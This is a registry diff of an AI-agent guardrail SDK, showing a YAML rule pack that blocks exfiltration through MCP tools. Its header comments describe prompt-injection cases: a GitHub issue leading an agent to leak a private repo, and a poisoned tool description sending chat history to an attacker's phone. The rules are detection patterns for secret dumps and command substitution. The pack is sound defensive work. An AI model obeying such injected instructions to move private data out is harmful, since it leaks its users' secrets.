@sponsio/sdk 0.1.0-alpha.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/contracts/capability/credentials.yaml +188 -0
- package/contracts/capability/database.yaml +141 -0
- package/contracts/capability/filesystem-strict.yaml +101 -0
- package/contracts/capability/filesystem.yaml +239 -0
- package/contracts/capability/self-modify.yaml +152 -0
- package/contracts/capability/shell.yaml +246 -0
- package/contracts/capability/subagent.yaml +184 -0
- package/contracts/core/llm_safety.yaml +130 -0
- package/contracts/core/runaway.yaml +43 -0
- package/contracts/core/universal.yaml +34 -0
- package/contracts/incident/claude-code-secret-bypass.yaml +197 -0
- package/contracts/incident/cursor-railway-wipe.yaml +164 -0
- package/contracts/incident/mcp-composition.yaml +418 -0
- package/contracts/incident/openclaw.yaml +500 -0
- package/contracts/incident/subagent-escape.yaml +177 -0
- package/contracts/premium/.gitkeep +7 -0
- package/dist/contract.d.ts +59 -0
- package/dist/contract.d.ts.map +1 -0
- package/dist/contract.js +97 -0
- package/dist/contract.js.map +1 -0
- package/dist/core/config-loader.d.ts +90 -0
- package/dist/core/config-loader.d.ts.map +1 -0
- package/dist/core/config-loader.js +530 -0
- package/dist/core/config-loader.js.map +1 -0
- package/dist/core/evaluator.d.ts +15 -0
- package/dist/core/evaluator.d.ts.map +1 -0
- package/dist/core/evaluator.js +87 -0
- package/dist/core/evaluator.js.map +1 -0
- package/dist/core/formula.d.ts +103 -0
- package/dist/core/formula.d.ts.map +1 -0
- package/dist/core/formula.js +167 -0
- package/dist/core/formula.js.map +1 -0
- package/dist/core/grounding.d.ts +43 -0
- package/dist/core/grounding.d.ts.map +1 -0
- package/dist/core/grounding.js +269 -0
- package/dist/core/grounding.js.map +1 -0
- package/dist/core/nl-parser.d.ts +12 -0
- package/dist/core/nl-parser.d.ts.map +1 -0
- package/dist/core/nl-parser.js +152 -0
- package/dist/core/nl-parser.js.map +1 -0
- package/dist/core/pack-loader.d.ts +15 -0
- package/dist/core/pack-loader.d.ts.map +1 -0
- package/dist/core/pack-loader.js +220 -0
- package/dist/core/pack-loader.js.map +1 -0
- package/dist/core/parser.d.ts +19 -0
- package/dist/core/parser.d.ts.map +1 -0
- package/dist/core/parser.js +235 -0
- package/dist/core/parser.js.map +1 -0
- package/dist/core/pattern-factory.d.ts +38 -0
- package/dist/core/pattern-factory.d.ts.map +1 -0
- package/dist/core/pattern-factory.js +222 -0
- package/dist/core/pattern-factory.js.map +1 -0
- package/dist/core/patterns.d.ts +67 -0
- package/dist/core/patterns.d.ts.map +1 -0
- package/dist/core/patterns.js +585 -0
- package/dist/core/patterns.js.map +1 -0
- package/dist/core/session-log.d.ts +91 -0
- package/dist/core/session-log.d.ts.map +1 -0
- package/dist/core/session-log.js +196 -0
- package/dist/core/session-log.js.map +1 -0
- package/dist/core/spans.d.ts +92 -0
- package/dist/core/spans.d.ts.map +1 -0
- package/dist/core/spans.js +148 -0
- package/dist/core/spans.js.map +1 -0
- package/dist/core/sto.d.ts +120 -0
- package/dist/core/sto.d.ts.map +1 -0
- package/dist/core/sto.js +147 -0
- package/dist/core/sto.js.map +1 -0
- package/dist/index.d.ts +267 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +540 -0
- package/dist/index.js.map +1 -0
- package/dist/integrations/claude-agent.d.ts +29 -0
- package/dist/integrations/claude-agent.d.ts.map +1 -0
- package/dist/integrations/claude-agent.js +40 -0
- package/dist/integrations/claude-agent.js.map +1 -0
- package/dist/integrations/google-adk.d.ts +27 -0
- package/dist/integrations/google-adk.d.ts.map +1 -0
- package/dist/integrations/google-adk.js +81 -0
- package/dist/integrations/google-adk.js.map +1 -0
- package/dist/integrations/langchain.d.ts +26 -0
- package/dist/integrations/langchain.d.ts.map +1 -0
- package/dist/integrations/langchain.js +74 -0
- package/dist/integrations/langchain.js.map +1 -0
- package/dist/integrations/openai-agents.d.ts +45 -0
- package/dist/integrations/openai-agents.d.ts.map +1 -0
- package/dist/integrations/openai-agents.js +81 -0
- package/dist/integrations/openai-agents.js.map +1 -0
- package/dist/integrations/openai.d.ts +24 -0
- package/dist/integrations/openai.d.ts.map +1 -0
- package/dist/integrations/openai.js +77 -0
- package/dist/integrations/openai.js.map +1 -0
- package/dist/integrations/vercel-ai.d.ts +38 -0
- package/dist/integrations/vercel-ai.d.ts.map +1 -0
- package/dist/integrations/vercel-ai.js +107 -0
- package/dist/integrations/vercel-ai.js.map +1 -0
- package/dist/render/components.d.ts +23 -0
- package/dist/render/components.d.ts.map +1 -0
- package/dist/render/components.js +133 -0
- package/dist/render/components.js.map +1 -0
- package/dist/render/derive.d.ts +23 -0
- package/dist/render/derive.d.ts.map +1 -0
- package/dist/render/derive.js +92 -0
- package/dist/render/derive.js.map +1 -0
- package/dist/render/session-view.d.ts +19 -0
- package/dist/render/session-view.d.ts.map +1 -0
- package/dist/render/session-view.js +236 -0
- package/dist/render/session-view.js.map +1 -0
- package/dist/render/tokens.d.ts +44 -0
- package/dist/render/tokens.d.ts.map +1 -0
- package/dist/render/tokens.js +72 -0
- package/dist/render/tokens.js.map +1 -0
- package/package.json +83 -0
|
@@ -0,0 +1,418 @@
|
|
|
1
|
+
# =============================================================================
|
|
2
|
+
# sponsio/contracts/incident/mcp-composition.yaml
|
|
3
|
+
#
|
|
4
|
+
# Incident pack — MCP server composition attacks.
|
|
5
|
+
#
|
|
6
|
+
# Real-world attacks this pack defends against, every one with a public PoC:
|
|
7
|
+
#
|
|
8
|
+
# * GitHub MCP Data Heist — Invariant Labs (2025-04 / Docker blog 2025).
|
|
9
|
+
# Agent reads issues from a public repo via `mcp__github__list_issues`;
|
|
10
|
+
# issue body contains a prompt injection asking the agent to also
|
|
11
|
+
# fetch a *different*, private repo and post its contents back as a
|
|
12
|
+
# comment. Same GitHub token covers both repos, so cross-repo
|
|
13
|
+
# escalation is silent at the API layer. Anthropic acknowledged
|
|
14
|
+
# the pattern but declined to change protocol semantics.
|
|
15
|
+
#
|
|
16
|
+
# * Cross-Server Tool Poisoning / Shadowing — Invariant Labs (2025).
|
|
17
|
+
# Server A's tool description hides instructions targeting server B
|
|
18
|
+
# (e.g. weather-MCP description tells the agent to also call
|
|
19
|
+
# `mcp__whatsapp__send_message(to=ATTACKER_PHONE, body=<chat>)`
|
|
20
|
+
# after every weather lookup). When the agent obeys, the call goes
|
|
21
|
+
# through legit server B; the malicious origin is invisible at the
|
|
22
|
+
# call boundary.
|
|
23
|
+
#
|
|
24
|
+
# * Sampling Hijack — The Hacker News (2026-04). Malicious MCP server
|
|
25
|
+
# uses MCP's `sampling` reverse-protocol to inject prompts into the
|
|
26
|
+
# client LLM, hijacking trusted tools. Anthropic SDK design issue
|
|
27
|
+
# across all language SDKs.
|
|
28
|
+
#
|
|
29
|
+
# * Confused Deputy — Cloud Security Alliance (2025). Server with
|
|
30
|
+
# high privileges acts on behalf of lower-privileged users; cannot
|
|
31
|
+
# differentiate between callers because user context isn't
|
|
32
|
+
# propagated through MCP.
|
|
33
|
+
#
|
|
34
|
+
# * Scale: VirusTotal scanned 17,845 public MCP repos and flagged
|
|
35
|
+
# 1,408 (≈8%) as likely malicious (2025-06). Snyk ToxicSkills
|
|
36
|
+
# flagged 1,467 malicious payloads across 3,984 ClawHub/skills.sh
|
|
37
|
+
# entries (2026-02).
|
|
38
|
+
#
|
|
39
|
+
# Sponsio's role: deterministic backstop *after* an injection succeeded.
|
|
40
|
+
# We don't try to detect prompt injection in tool descriptions (that's
|
|
41
|
+
# Lakera / MCP-Scan territory). We assume the agent decided to issue
|
|
42
|
+
# a bad call; the rules below stop the call at the action boundary.
|
|
43
|
+
#
|
|
44
|
+
# What this bundle ships
|
|
45
|
+
# ----------------------
|
|
46
|
+
#
|
|
47
|
+
# Two classes of rule, in priority order:
|
|
48
|
+
#
|
|
49
|
+
# 1. **Universal body-shape rules** (this file, §1–§2). Fire on every
|
|
50
|
+
# matching call, no per-deployment configuration. Block the
|
|
51
|
+
# canonical exfil idioms (KEY=VAL secret payloads, command
|
|
52
|
+
# substitution, backtick) appearing in user-visible body fields of
|
|
53
|
+
# cross-server-prone tools (GitHub issue comments, WhatsApp
|
|
54
|
+
# messages). Always safe to include.
|
|
55
|
+
#
|
|
56
|
+
# 2. **Allowlist templates** (comments in §3). These need a
|
|
57
|
+
# per-deployment list (allowed repos, allowed phone numbers, allowed
|
|
58
|
+
# filesystem paths). Ship as documented templates the operator
|
|
59
|
+
# copies into their own `contracts:` block. Including this bundle
|
|
60
|
+
# does NOT activate any allowlist rule by itself — that would
|
|
61
|
+
# default-deny every GitHub MCP call and break unconfigured users.
|
|
62
|
+
#
|
|
63
|
+
# Source tag convention:
|
|
64
|
+
# incident:mcp-composition.<rule>
|
|
65
|
+
# =============================================================================
|
|
66
|
+
|
|
67
|
+
version: "1"
|
|
68
|
+
|
|
69
|
+
tools:
|
|
70
|
+
# GitHub MCP — github/github-mcp-server (verified naming: mcp__github__<tool>)
|
|
71
|
+
- name: mcp__github__list_issues
|
|
72
|
+
params: "owner: str, repo: str"
|
|
73
|
+
- name: mcp__github__get_issue
|
|
74
|
+
params: "owner: str, repo: str, issue_number: int"
|
|
75
|
+
- name: mcp__github__get_repo
|
|
76
|
+
params: "owner: str, repo: str"
|
|
77
|
+
- name: mcp__github__get_file_contents
|
|
78
|
+
params: "owner: str, repo: str, path: str"
|
|
79
|
+
- name: mcp__github__create_issue_comment
|
|
80
|
+
params: "owner: str, repo: str, issue_number: int, body: str"
|
|
81
|
+
- name: mcp__github__list_pulls
|
|
82
|
+
params: "owner: str, repo: str"
|
|
83
|
+
- name: mcp__github__get_pull_request_diff
|
|
84
|
+
params: "owner: str, repo: str, pull_number: int"
|
|
85
|
+
|
|
86
|
+
# WhatsApp MCP — referenced in the Invariant Labs cross-server PoC
|
|
87
|
+
- name: mcp__whatsapp__send_message
|
|
88
|
+
params: "to: str, body: str"
|
|
89
|
+
- name: mcp__whatsapp__list_messages
|
|
90
|
+
params: "chat_id: str"
|
|
91
|
+
|
|
92
|
+
# Filesystem MCP — modelcontextprotocol/server-filesystem
|
|
93
|
+
- name: mcp__filesystem__read_file
|
|
94
|
+
params: "path: str"
|
|
95
|
+
|
|
96
|
+
# Notion MCP — makenotion/notion-mcp-server. Referenced in the
|
|
97
|
+
# 2025-09 CodeIntegrity PoC (HN top, Schneier blog) where Notion
|
|
98
|
+
# 3.0's AI agent was tricked via PDF-borne injection into
|
|
99
|
+
# exfiltrating private workspace data. GitHub Issue #238 on the
|
|
100
|
+
# official notion-mcp-server is Notion's own acknowledgement.
|
|
101
|
+
- name: mcp__notion__create_page
|
|
102
|
+
params: "parent: object, properties: object, children: array"
|
|
103
|
+
- name: mcp__notion__update_page
|
|
104
|
+
params: "page_id: str, properties: object"
|
|
105
|
+
- name: mcp__notion__append_block_children
|
|
106
|
+
params: "block_id: str, children: array"
|
|
107
|
+
- name: mcp__notion__search
|
|
108
|
+
params: "query: str"
|
|
109
|
+
|
|
110
|
+
# GitHub Gist MCP — referenced in the "Trivial Trojans" arXiv paper
|
|
111
|
+
# (2025-07) and the GitHub MCP Heist's public-PR variant. A public
|
|
112
|
+
# gist is internet-indexed, anonymously readable, and irrevocable
|
|
113
|
+
# in practice (it lives in archives even after delete). This is
|
|
114
|
+
# the high-severity exfil destination for the lethal-trifecta demo.
|
|
115
|
+
- name: mcp__gh_gist__create_gist
|
|
116
|
+
params: "description: str, files: object, public: bool"
|
|
117
|
+
- name: mcp__gh_gist__update_gist
|
|
118
|
+
params: "gist_id: str, files: object"
|
|
119
|
+
|
|
120
|
+
agents:
|
|
121
|
+
"*":
|
|
122
|
+
contracts:
|
|
123
|
+
|
|
124
|
+
# =====================================================================
|
|
125
|
+
# § 1 — GitHub MCP create_issue_comment body must not look like exfil
|
|
126
|
+
#
|
|
127
|
+
# The Invariant Labs Heist PoC ends with the agent posting the
|
|
128
|
+
# leaked private-repo content as a comment on a public-repo issue.
|
|
129
|
+
# Even when the read half slips through, the comment-back step is
|
|
130
|
+
# the canonical exfil channel. We catch two body shapes:
|
|
131
|
+
#
|
|
132
|
+
# (a) Three+ `KEY=VALUE` pairs — characteristic of someone
|
|
133
|
+
# echoing environment / config dumps into a comment. Single
|
|
134
|
+
# `KEY=VAL` (e.g. one URL or one config flag) does NOT trip.
|
|
135
|
+
# (b) Any command substitution (`$(...)` or backtick) — strongly
|
|
136
|
+
# suggests the agent is echoing executed-shell output.
|
|
137
|
+
# =====================================================================
|
|
138
|
+
|
|
139
|
+
- desc: "GitHub MCP comment body must not contain ≥3 KEY=VAL secret-shape pairs"
|
|
140
|
+
E:
|
|
141
|
+
pattern: arg_blacklist
|
|
142
|
+
args:
|
|
143
|
+
- mcp__github__create_issue_comment
|
|
144
|
+
- body
|
|
145
|
+
- ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
|
|
146
|
+
source: "incident:mcp-composition.github_comment_no_secret_shape"
|
|
147
|
+
|
|
148
|
+
- desc: "GitHub MCP comment body must not contain command substitution"
|
|
149
|
+
E:
|
|
150
|
+
pattern: arg_blacklist
|
|
151
|
+
args:
|
|
152
|
+
- mcp__github__create_issue_comment
|
|
153
|
+
- body
|
|
154
|
+
- ['\$\([^)]*\)', '`[^`]+`']
|
|
155
|
+
source: "incident:mcp-composition.github_comment_no_subst"
|
|
156
|
+
|
|
157
|
+
# =====================================================================
|
|
158
|
+
# § 2 — WhatsApp MCP message body must not look like exfil
|
|
159
|
+
#
|
|
160
|
+
# The Invariant Labs WhatsApp PoC: poisoned weather-MCP description
|
|
161
|
+
# induces the agent to call `mcp__whatsapp__send_message` with the
|
|
162
|
+
# user's chat history disguised as a weather summary. Same body-
|
|
163
|
+
# shape defenses as §1.
|
|
164
|
+
# =====================================================================
|
|
165
|
+
|
|
166
|
+
- desc: "WhatsApp MCP message body must not contain ≥3 KEY=VAL secret-shape pairs"
|
|
167
|
+
E:
|
|
168
|
+
pattern: arg_blacklist
|
|
169
|
+
args:
|
|
170
|
+
- mcp__whatsapp__send_message
|
|
171
|
+
- body
|
|
172
|
+
- ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
|
|
173
|
+
source: "incident:mcp-composition.whatsapp_body_no_secret_shape"
|
|
174
|
+
|
|
175
|
+
- desc: "WhatsApp MCP message body must not contain command substitution"
|
|
176
|
+
E:
|
|
177
|
+
pattern: arg_blacklist
|
|
178
|
+
args:
|
|
179
|
+
- mcp__whatsapp__send_message
|
|
180
|
+
- body
|
|
181
|
+
- ['\$\([^)]*\)', '`[^`]+`']
|
|
182
|
+
source: "incident:mcp-composition.whatsapp_body_no_subst"
|
|
183
|
+
|
|
184
|
+
# =====================================================================
|
|
185
|
+
# § 3 — Notion MCP "lethal trifecta" defense
|
|
186
|
+
#
|
|
187
|
+
# CodeIntegrity (Sep 2025) showed Notion 3.0's AI agent could be
|
|
188
|
+
# induced to copy private workspace content to attacker-controlled
|
|
189
|
+
# destinations via PDF-borne prompt injection. Schneier covered
|
|
190
|
+
# it; HN ran the post for a day; PromptArmor labelled the same
|
|
191
|
+
# primitive "unpatched data exfiltration".
|
|
192
|
+
#
|
|
193
|
+
# Pattern (Simon Willison's "lethal trifecta"):
|
|
194
|
+
# 1. Agent has access to private content (local files / pages)
|
|
195
|
+
# 2. Agent processes untrusted content (PDF / page / shared note)
|
|
196
|
+
# 3. Agent has external comms (Notion write to ANY workspace,
|
|
197
|
+
# web_search, …)
|
|
198
|
+
# All three together = structural data theft via prompt injection.
|
|
199
|
+
#
|
|
200
|
+
# Sponsio's role: stateless body-shape + workspace allowlist
|
|
201
|
+
# (universal-rules half) and trace-aware filesystem→notion-write
|
|
202
|
+
# confinement (allowlist-templates half). We can't detect the
|
|
203
|
+
# injection itself — we deny the resulting cross-trust write
|
|
204
|
+
# at the action boundary.
|
|
205
|
+
# =====================================================================
|
|
206
|
+
|
|
207
|
+
- desc: "Notion create_page children must not contain ≥3 KEY=VAL secret-shape pairs"
|
|
208
|
+
E:
|
|
209
|
+
pattern: arg_blacklist
|
|
210
|
+
args:
|
|
211
|
+
- mcp__notion__create_page
|
|
212
|
+
- children
|
|
213
|
+
- ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
|
|
214
|
+
source: "incident:mcp-composition.notion_create_no_secret_shape"
|
|
215
|
+
|
|
216
|
+
- desc: "Notion append_block_children must not contain ≥3 KEY=VAL secret-shape pairs"
|
|
217
|
+
E:
|
|
218
|
+
pattern: arg_blacklist
|
|
219
|
+
args:
|
|
220
|
+
- mcp__notion__append_block_children
|
|
221
|
+
- children
|
|
222
|
+
- ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
|
|
223
|
+
source: "incident:mcp-composition.notion_append_no_secret_shape"
|
|
224
|
+
|
|
225
|
+
- desc: "Notion create_page children must not contain command substitution"
|
|
226
|
+
E:
|
|
227
|
+
pattern: arg_blacklist
|
|
228
|
+
args:
|
|
229
|
+
- mcp__notion__create_page
|
|
230
|
+
- children
|
|
231
|
+
- ['\$\([^)]*\)', '`[^`]+`']
|
|
232
|
+
source: "incident:mcp-composition.notion_create_no_subst"
|
|
233
|
+
|
|
234
|
+
# =====================================================================
|
|
235
|
+
# § 3b — GitHub Gist MCP "lethal trifecta" exfil defense
|
|
236
|
+
#
|
|
237
|
+
# "Trivial Trojans" (arXiv 2507.19880, 2025-07): a minimal
|
|
238
|
+
# malicious MCP server steals banking data via webhook.site or
|
|
239
|
+
# a public gist. GitGuardian (2026-04) measured 28.6M secrets
|
|
240
|
+
# leaked through public GitHub commits in 2025 (+34% YoY) — the
|
|
241
|
+
# public-Gist exfil channel is the dominant real-world leak
|
|
242
|
+
# surface for AI agents in 2026.
|
|
243
|
+
#
|
|
244
|
+
# A public gist is:
|
|
245
|
+
# - internet-indexed (Google sees it within hours)
|
|
246
|
+
# - anonymously readable (no GitHub account needed)
|
|
247
|
+
# - effectively irrevocable (web archives mirror them in
|
|
248
|
+
# minutes; a delete on the GitHub side doesn't pull from
|
|
249
|
+
# archive.org)
|
|
250
|
+
#
|
|
251
|
+
# We block universal exfil shapes (KEY=VAL, $(...) substitution),
|
|
252
|
+
# plus three sensitive-content patterns that are almost always
|
|
253
|
+
# exfil signals when present in a gist file: salary amounts,
|
|
254
|
+
# employment-termination keywords, and named-customer ARR figures.
|
|
255
|
+
# The patterns deliberately allow single mentions (e.g. one
|
|
256
|
+
# salary band as a reference) and only fire when ≥2 instances
|
|
257
|
+
# cluster — typical of a leaked employee-list or customer-list.
|
|
258
|
+
# =====================================================================
|
|
259
|
+
|
|
260
|
+
- desc: "Gist files content must not contain ≥3 KEY=VAL secret-shape pairs"
|
|
261
|
+
E:
|
|
262
|
+
pattern: arg_blacklist
|
|
263
|
+
args:
|
|
264
|
+
- mcp__gh_gist__create_gist
|
|
265
|
+
- files
|
|
266
|
+
- ['(?:[A-Z][A-Z0-9_]+=[^\s,;]{6,}.*?){3,}']
|
|
267
|
+
source: "incident:mcp-composition.gist_no_secret_shape"
|
|
268
|
+
|
|
269
|
+
- desc: "Gist files content must not contain command substitution"
|
|
270
|
+
E:
|
|
271
|
+
pattern: arg_blacklist
|
|
272
|
+
args:
|
|
273
|
+
- mcp__gh_gist__create_gist
|
|
274
|
+
- files
|
|
275
|
+
- ['\$\([^)]*\)', '`[^`]+`']
|
|
276
|
+
source: "incident:mcp-composition.gist_no_subst"
|
|
277
|
+
|
|
278
|
+
- desc: "Gist files content must not contain ≥2 salary amounts (typical employee-list leak)"
|
|
279
|
+
E:
|
|
280
|
+
pattern: arg_blacklist
|
|
281
|
+
args:
|
|
282
|
+
- mcp__gh_gist__create_gist
|
|
283
|
+
- files
|
|
284
|
+
- ['(?:\$[0-9]{2,3}[,k][0-9]{0,3}.*?){2,}']
|
|
285
|
+
source: "incident:mcp-composition.gist_no_multi_salary"
|
|
286
|
+
|
|
287
|
+
- desc: "Gist files content must not contain employment-termination language (PIP / fired / exit-by)"
|
|
288
|
+
E:
|
|
289
|
+
pattern: arg_blacklist
|
|
290
|
+
args:
|
|
291
|
+
- mcp__gh_gist__create_gist
|
|
292
|
+
- files
|
|
293
|
+
- ['\b(PIP|performance improvement plan|terminat\w*|exit by|let go|fired|severance package)\b']
|
|
294
|
+
source: "incident:mcp-composition.gist_no_termination_lang"
|
|
295
|
+
|
|
296
|
+
- desc: "Gist files content must not contain ≥2 customer ARR/MRR figures (customer-list leak)"
|
|
297
|
+
E:
|
|
298
|
+
pattern: arg_blacklist
|
|
299
|
+
args:
|
|
300
|
+
- mcp__gh_gist__create_gist
|
|
301
|
+
- files
|
|
302
|
+
- ['(?:\$[0-9]+[,.]?[0-9]*\s*[kKmM]?\s*(?:ARR|MRR).*?){2,}']
|
|
303
|
+
source: "incident:mcp-composition.gist_no_multi_arr"
|
|
304
|
+
|
|
305
|
+
# =====================================================================
|
|
306
|
+
# § 4 — Allowlist templates (NOT ACTIVE — copy into your sponsio.yaml)
|
|
307
|
+
#
|
|
308
|
+
# The rules below are templates. Including this bundle does NOT
|
|
309
|
+
# enable them; you'd need to copy them into your local `contracts:`
|
|
310
|
+
# block and replace the placeholder regex with your real allowlist.
|
|
311
|
+
#
|
|
312
|
+
# ---------------------------------------------------------------------
|
|
313
|
+
# 4a. GitHub MCP repo allowlist (defends against the Data Heist's
|
|
314
|
+
# cross-repo escalation step). Replace `<your-org>/(<repo-1>|<repo-2>)`
|
|
315
|
+
# with your org's allowed repos.
|
|
316
|
+
# ---------------------------------------------------------------------
|
|
317
|
+
#
|
|
318
|
+
# contracts:
|
|
319
|
+
# - desc: "GitHub MCP get_repo: repo arg restricted to my allowlist"
|
|
320
|
+
# E:
|
|
321
|
+
# ltl: 'G(called(mcp__github__get_repo) -> arg_field_has(mcp__github__get_repo, repo, "^(my-org/public-repo|my-org/intended-repo)$"))'
|
|
322
|
+
#
|
|
323
|
+
# - desc: "GitHub MCP get_file_contents: repo arg restricted to my allowlist"
|
|
324
|
+
# E:
|
|
325
|
+
# ltl: 'G(called(mcp__github__get_file_contents) -> arg_field_has(mcp__github__get_file_contents, repo, "^(my-org/public-repo|my-org/intended-repo)$"))'
|
|
326
|
+
#
|
|
327
|
+
# - desc: "GitHub MCP create_issue_comment: target repo restricted to my allowlist"
|
|
328
|
+
# E:
|
|
329
|
+
# ltl: 'G(called(mcp__github__create_issue_comment) -> arg_field_has(mcp__github__create_issue_comment, repo, "^(my-org/public-repo|my-org/intended-repo)$"))'
|
|
330
|
+
#
|
|
331
|
+
# ---------------------------------------------------------------------
|
|
332
|
+
# 4b. WhatsApp MCP recipient allowlist (defends against cross-server
|
|
333
|
+
# description poisoning + attacker-phone exfil). Replace
|
|
334
|
+
# `\\+1415555XXXX` with your allowed contacts.
|
|
335
|
+
# ---------------------------------------------------------------------
|
|
336
|
+
#
|
|
337
|
+
# contracts:
|
|
338
|
+
# - desc: "WhatsApp MCP send_message: recipient restricted to my allowlist"
|
|
339
|
+
# E:
|
|
340
|
+
# ltl: 'G(called(mcp__whatsapp__send_message) -> arg_field_has(mcp__whatsapp__send_message, to, "^\\+1415555[0-9]{4}$"))'
|
|
341
|
+
#
|
|
342
|
+
# ---------------------------------------------------------------------
|
|
343
|
+
# 4c. Filesystem MCP workspace scope (defends against cross-server
|
|
344
|
+
# data-flow attacks that bridge filesystem reads into outbound MCP
|
|
345
|
+
# calls). Replace `/workspace/project/.*` with your allowed paths.
|
|
346
|
+
# ---------------------------------------------------------------------
|
|
347
|
+
#
|
|
348
|
+
# contracts:
|
|
349
|
+
# - desc: "Filesystem MCP read_file: path restricted to my workspace"
|
|
350
|
+
# E:
|
|
351
|
+
# ltl: 'G(called(mcp__filesystem__read_file) -> arg_field_has(mcp__filesystem__read_file, path, "^/workspace/project/.*"))'
|
|
352
|
+
#
|
|
353
|
+
# ---------------------------------------------------------------------
|
|
354
|
+
# 4d. Notion MCP workspace allowlist (defends against the lethal-
|
|
355
|
+
# trifecta exfil where private workspace content is copied to an
|
|
356
|
+
# attacker-controlled workspace). Find your workspace IDs in the
|
|
357
|
+
# Notion API response or the URL of any workspace page; replace
|
|
358
|
+
# the regex below with the IDs you intend the agent to write to.
|
|
359
|
+
# ---------------------------------------------------------------------
|
|
360
|
+
#
|
|
361
|
+
# contracts:
|
|
362
|
+
# - desc: "Notion MCP create_page: parent workspace restricted to my allowlist"
|
|
363
|
+
# E:
|
|
364
|
+
# ltl: 'G(called(mcp__notion__create_page) -> arg_field_has(mcp__notion__create_page, parent, "(workspace_id|database_id)\":\\s*\"(my-workspace-id-1|my-workspace-id-2)\""))'
|
|
365
|
+
#
|
|
366
|
+
# - desc: "Notion MCP update_page: page must be in my workspace allowlist"
|
|
367
|
+
# E:
|
|
368
|
+
# ltl: 'G(called(mcp__notion__update_page) -> arg_field_has(mcp__notion__update_page, page_id, "^(my-page-id-1|my-page-id-2)$"))'
|
|
369
|
+
#
|
|
370
|
+
# ---------------------------------------------------------------------
|
|
371
|
+
# 4e. Trace-aware "lethal trifecta" defense — after the agent has
|
|
372
|
+
# *read* untrusted local content (e.g. a markdown note containing
|
|
373
|
+
# an injection in an HTML comment), confine subsequent Notion
|
|
374
|
+
# writes to the operator's narrow allowlist. Belt-and-suspenders
|
|
375
|
+
# over 4d: even if 4d's allowlist is broad, this rule activates
|
|
376
|
+
# only after a Read happens and tightens further. Uses
|
|
377
|
+
# ``activate_at: first_match`` so events before the Read are
|
|
378
|
+
# unaffected.
|
|
379
|
+
# ---------------------------------------------------------------------
|
|
380
|
+
#
|
|
381
|
+
# contracts:
|
|
382
|
+
# - desc: "After reading local notes, Notion writes confined to my own workspace"
|
|
383
|
+
# activate_at: first_match
|
|
384
|
+
# A:
|
|
385
|
+
# ltl: 'F(arg_field_has(Read, file_path, "(^|/)\\.md$|/notes/"))'
|
|
386
|
+
# E:
|
|
387
|
+
# ltl: 'G(called(mcp__notion__create_page) -> arg_field_has(mcp__notion__create_page, parent, "\"(my-workspace-id-1|my-workspace-id-2)\""))'
|
|
388
|
+
#
|
|
389
|
+
# ---------------------------------------------------------------------
|
|
390
|
+
# 4f. GitHub Gist privacy enforcement — gists must be private only.
|
|
391
|
+
# Public gists are internet-indexed and anonymously readable.
|
|
392
|
+
# Even within `public: false`, the universal §3b rules above
|
|
393
|
+
# block exfil-shaped content; this rule closes the visibility
|
|
394
|
+
# half of the threat model. See "Trivial Trojans" (arXiv) and
|
|
395
|
+
# GitGuardian's 2026 leaked-secrets count for motivation.
|
|
396
|
+
# ---------------------------------------------------------------------
|
|
397
|
+
#
|
|
398
|
+
# contracts:
|
|
399
|
+
# - desc: "GitHub Gist must be private (public: false)"
|
|
400
|
+
# E:
|
|
401
|
+
# ltl: 'G(called(mcp__gh_gist__create_gist) -> arg_field_has(mcp__gh_gist__create_gist, public, "false"))'
|
|
402
|
+
#
|
|
403
|
+
# ---------------------------------------------------------------------
|
|
404
|
+
# 4g. Trace-aware lethal-trifecta for Gist — after reading any
|
|
405
|
+
# local notes, Gists must be private only. Combined with §3b's
|
|
406
|
+
# body-shape rules (always-on), this gives full coverage of the
|
|
407
|
+
# "agent reads notes → exfils via gist" composition chain.
|
|
408
|
+
# ---------------------------------------------------------------------
|
|
409
|
+
#
|
|
410
|
+
# contracts:
|
|
411
|
+
# - desc: "After reading local notes, Gist must be private"
|
|
412
|
+
# activate_at: first_match
|
|
413
|
+
# A:
|
|
414
|
+
# ltl: 'F(called(Read))'
|
|
415
|
+
# E:
|
|
416
|
+
# ltl: 'G(called(mcp__gh_gist__create_gist) -> arg_field_has(mcp__gh_gist__create_gist, public, "false"))'
|
|
417
|
+
#
|
|
418
|
+
# =====================================================================
|